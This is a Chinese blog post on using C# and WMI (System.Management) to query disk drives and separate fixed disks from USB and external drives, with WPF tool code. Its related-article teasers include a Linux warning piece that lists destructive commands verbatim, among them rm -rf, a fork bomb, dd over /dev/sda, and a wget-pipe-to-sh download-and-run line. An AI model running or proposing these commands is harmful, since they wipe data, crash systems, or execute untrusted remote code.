C#实现WMI获取硬盘参数

文章目录

    • 背景
    • 涉及框架及库
    • WMI查询小工具
    • 参数解释
      • U盘
      • 移动硬盘
      • 本机设备
    • 总结

背景

因为需求需要涉及获取硬盘的SN参数,但是又不想要获取到U盘或移动硬盘设备的SN,所以就浅浅的研究了一下。
以下就是我目前发现的一些参数的作用,够我用了。。。

涉及框架及库

NuGet自己安装哈

  • System.Management

WMI查询小工具

为了方便我调试代码,这里花了几分钟麻了一个WMI查询结果输出的小公举
项目代码就不发了,就只有两个文件MainWindow.xaml.csMainWindow.xaml,从如此LOW的界面也能看出来,没有其它代码了😐

前端代码:

<Window x:Class="WMIQuery.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:WMIQuery"
        mc:Ignorable="d" WindowStartupLocation="CenterScreen"
        Title="WMIQuery" Height="450" Width="800">
    <Grid Margin="5 5 5 5">
        <Grid.RowDefinitions>
            <RowDefinition Height="Auto"></RowDefinition>
            <RowDefinition Height="Auto"></RowDefinition>
            <RowDefinition Height="Auto"></RowDefinition>
            <RowDefinition Height="Auto"></RowDefinition>
            <RowDefinition Height="*"></RowDefinition>
            <RowDefinition Height="Auto"></RowDefinition>
            <RowDefinition Height="Auto"></RowDefinition>
        </Grid.RowDefinitions>
        <TextBlock Grid.Row="0" Text="Query:"></TextBlock>
        <TextBox Grid.Row="1" x:Name="txt_query" TextWrapping="Wrap" AcceptsReturn="True" AcceptsTab="True" Height="60"></TextBox>
        <StackPanel Grid.Row="2" Margin="0 5 0 5" Orientation="Horizontal">
            <Button Content="执行" x:Name="btn_start" Click="btn_start_Click"></Button>
        </StackPanel>
        <TextBlock Grid.Row="3" Text="Out:"></TextBlock>
        <TextBox Grid.Row="4" x:Name="txt_out"></TextBox>
    </Grid>
</Window>

后端代码:

using System;
using System.Text;
using System.Windows;
using System.Management;

namespace WMIQuery
{
    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
        }

        private void btn_start_Click(object sender, RoutedEventArgs e)
        {
            var query = txt_query.Text;
            if (string.IsNullOrEmpty(query) || string.IsNullOrWhiteSpace(query))
            {
                MessageBox.Show("查询语句不能为空!", "错误", MessageBoxButton.OK, MessageBoxImage.Error);
                return;
            }
            var outBuilder = new StringBuilder();
            try
            {
                var searcher = new ManagementObjectSearcher(query);
                int i = 0;
                foreach (var drive in searcher.Get())
                {
                    outBuilder.AppendLine($"===>Index:{i++}<===");
                    foreach (var item in drive.Properties)
                    {
                        outBuilder.AppendLine(item.Name + ": " + item.Value);
                    }
                    outBuilder.AppendLine();
                }
                txt_out.Text = outBuilder.ToString();
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "错误", MessageBoxButton.OK, MessageBoxImage.Error);
            }
        }
    }
}

在Query框填写我们的查询语句,点击执行
在这里插入图片描述

也可以只查询我们想要的数据,反正使用就像SQL一样简单
在这里插入图片描述

参数解释

在这里插入图片描述

在这里插入图片描述

U盘

  • InterfaceTypeUSB
  • MediaTypeRemovable Media

移动硬盘

  • InterfaceTypeSCSI或其他
  • MediaTypeExternal hard disk media

本机设备

  • InterfaceTypeSCSIIDE或其他,具体怎么安装,走什么总线
  • MediaTypeFixed hard disk media

总结

  • 移动固态硬盘走的是SCSI也就是NVMe的总线,或者是IDE,也就是传统的走线
  • 本地如果是NVMe的硬盘,走的应该也是SCSI总线,如果是普通SATA接口的,应该是IDE

不是所有的M.2硬盘都是NVMe协议

在这里插入图片描述

  • InterfaceType的值,主要是看设备走什么总线去判断的
  • 如果只是需要判断移动设备还是本机设备,直接在MediaType判断就行,比如获取本机固定的硬盘,不想包含U盘或移动硬盘,只需要添加执行下面的语句:
SELECT * FROM Win32_DiskDrive WHERE MediaType = 'Fixed hard disk media'
  • 和SQL还是有区别的,语句后面不能有分号,字段不能用AS映射成有好名称,能用LIKE

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/702269.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

探索AOSP中的RRO:运行时资源覆盖的奥秘

探索AOSP中的RRO:运行时资源覆盖的奥秘 在Android开发中,为了提供更大的灵活性和可定制性,Android提供了一种关键特性:运行时资源覆盖(Runtime Resource Overlay,简称RRO)。本文将深入探讨RRO在Android开源项目(AOSP)中的作用及其实现方法。 什么是运行时资源覆盖(…

超级马里奥-小游戏

学习目标&#xff1a; 练习Java面向对象的编程思想&#xff1b; 巩固Java语言基础&#xff0c;数据类型、集合、数组等&#xff1b; 深刻理解Java的三大特性&#xff0c;封装、继承、多态&#xff1b; 效果展示&#xff1a;

rizhuti1.9-最新版-推荐文章缩略图

下载地址&#xff1a;rizhuti1.9-最新版-推荐文章缩略图 商城功能后台可以一键开启关闭&#xff0c;关闭后就是一个布局灵活&#xff0c;界面优美&#xff0c;速度超快的wordpress博客主题

pinpoint agent 接入apm,负责采集java应用的数据,发送给远端collector

一、背景 前文我们使用docker-compose已搭建好了pinpoint的服务端&#xff0c;现在需要在java应用侧&#xff0c;也即客户端部署pinpoint的agent。 agent负责采集数据&#xff0c;并发送给远端的pinpoint collector&#xff0c;最后在pinpoint web展示。 本文主要是以一个ja…

Cantata 24.04 全新发布:以代码为中心的测试实现革命性升级!

简介 Cantata 24.04于2024年4月发布&#xff0c;以开创性的功能彻底革新了软件测试。此版本的主要功能是以代码为中心&#xff08;Code-Centred&#xff09;的方法&#xff0c;可以更快、更高效地在C/C的代码编辑器中创建单元和集成测试。 Cantata 24.04采用C中的最新标准并全…

【Linux】手残党必学,再也不用跑路了

目录 &#x1f6a8;危险命令&#xff0c;请勿靠近TAT&#x1f58b;️rm –rf&#x1f58b;️){:|:&};:&#x1f58b;️mv 指定的文件夹 /dev/null&#x1f58b;️wget http://malicious_source -O- | sh&#x1f58b;️dd if/dev/random of/dev/sda&#x1f58b;️隐藏命令…

Kali Linux 2024.2

Kali Linux 2024.2 版本&#xff08;t64、GNOME 46 和社区包&#xff09; 比平常晚了一点&#xff0c;但 Kali 2024.2 来了&#xff01;延迟是由于实现这一目标的幕后变化所致&#xff0c;这也是人们关注的焦点。社区提供了大量帮助&#xff0c;这次他们不仅添加了新的软件包&…

5.4 安全策略和控制 方法实现探讨

安全策略概述: 定义 安全策略是一组规则和措施&#xff0c;旨在保护组织的信息和资产免受潜在的威胁和攻击。它的制定和实施需要考虑组织的特定需求和风险&#xff0c;并采取适当的措施来减少潜在的安全漏洞。安全策略的定义包括以下几个方面&#xff1a; 1. 目标和范围&…

代码随想录算法训练营第51天:股票2

代码随想录算法训练营第51天&#xff1a;股票2 ‍ 123.买卖股票的最佳时机III 力扣题目链接(opens new window) 给定一个数组&#xff0c;它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意&a…

QGroupbox,Grid Layout,button 水平延伸 布局

实验 sizePolicy水瓶延伸 拖入一个groupbox控件 在groupbox控件中拖入一个grid layout 控件 然后拖入3个pushButton 使其水平排列&#xff0c; 设置button3的 sizePolicy 水平延展 为1 效果

404 页面代码

<template> <div class"container"><h1>404</h1> <div ><p class"text-center">当前页面无法访问,可能没有权限或已删除</p><p class"text-center"> 去别处看看吧</p> </div> <…

【Android】系统性学习——Android系统启动

前言 部分内容参考《Android进阶解密》 – 刘望舒 以及各大博客&#xff0c;感谢各位师傅对知识的传播。 第二章 Android系统启动 Android系统启动与本书很多内容都有关联&#xff0c;比如应用进程启动流程、四大组件原理、 AMS、ClassLoader等&#xff0c;而ClassLoader又是…

2024年适合学生写作业的台灯推荐:五款公认好用的护眼台灯

儿童的视力健康是每一个家庭都极为关注的问题。目前中国近视率居高不下&#xff0c;且呈现出年轻化、低龄化的趋势。儿童近视的问题愈发严重&#xff0c;如何才能让孩子在学习的同时&#xff0c;眼睛也能得到充分的保护&#xff1f;答案就是护眼台灯。护眼台灯通常拥有柔和的光…

床上用品品牌如何吸引美国消费者?沃尔玛如何选品?

床上用品品牌如何吸引美国消费者以及沃尔玛如何选品&#xff0c;这两个问题实际上涉及到了市场营销和供应链管理两个关键领域。 以下是一些更为细致和具体的建议&#xff1a; 对于床上用品品牌而言&#xff0c;吸引美国消费者需要做到以下几点&#xff1a; 1、市场调研与定位…

VsCode中C文件调用其他C文件函数失败

之前一直使用CodeBlocks&#xff0c;最近使用vscode多&#xff0c;感觉它比较方便&#xff0c;但在调用其他C文件的时候发现报错以下内容基于单C文件运行成功&#xff0c;否则请移步 博文&#xff1a;VSCode上搭建C/C开发环境 报错信息 没有使用CodeRunner插件&#xff0c;弹…

TCP协议为啥会有三次挥手(close、shutdown)

一、前言 使用wireshrak抓包的时候&#xff0c;发现有的TCP断开连接&#xff0c;有的是三次挥手、有的是四次挥手&#xff0c;本文将带领带领大家一探究竟。 1. 四次挥手&#xff1a; 四次挥手流程回顾 第一次挥手&#xff1a; 主动关闭的一方&#xff08;客户端或服务器&…

GStreamer安装——iOS

安装iOS开发 支持从iOS6开始的所有版本 先决条件 iOS开发需要下载Xcode和iOSSDK。Xcode 可以在App Store或 这里 iOSSDK&#xff0c;如果它还没有包含在您的Xcode版本中&#xff0c; 可以从下载选项卡下的Xcode首选项菜单下载。 最低要求iOS版本为6.0。的最低要求版本 Xcode…

C#.Net筑基-类型系统①基础

C#.Net的BCL提供了丰富的类型&#xff0c;最基础的是值类型、引用类型&#xff0c;而他们的共同&#xff08;隐私&#xff09;祖先是 System.Object&#xff08;万物之源&#xff09;&#xff0c;所以任何类型都可以转换为Object。 01、数据类型汇总 C#.NET 类型结构总结如下图…

Spring Web MVC之过滤器Filter和拦截器HandlerInterceptor的区别和用法

作用时机不一样 Spring 框架有一个很重要的类DispatcherServlet。这个类继承了HttpServlet&#xff0c;HttpServlet实现了Servlet接口。相当于图片中的Servlet。所有和Spring框架相关配置&#xff0c;例如注解、xml配置、其他数据库连接配置、bean配置、拦截器配置等其他配置&…

k8s nginx.conf配置文件配置

无状态nginx配置nginx.conf覆盖容器配置nginx.conf 代码&#xff1a;events {worker_connections 1024; }http {include /etc/nginx/mime.types;default_type application/octet-stream;log_format main $remote_addr - $remote_user [$time_local] "$request&q…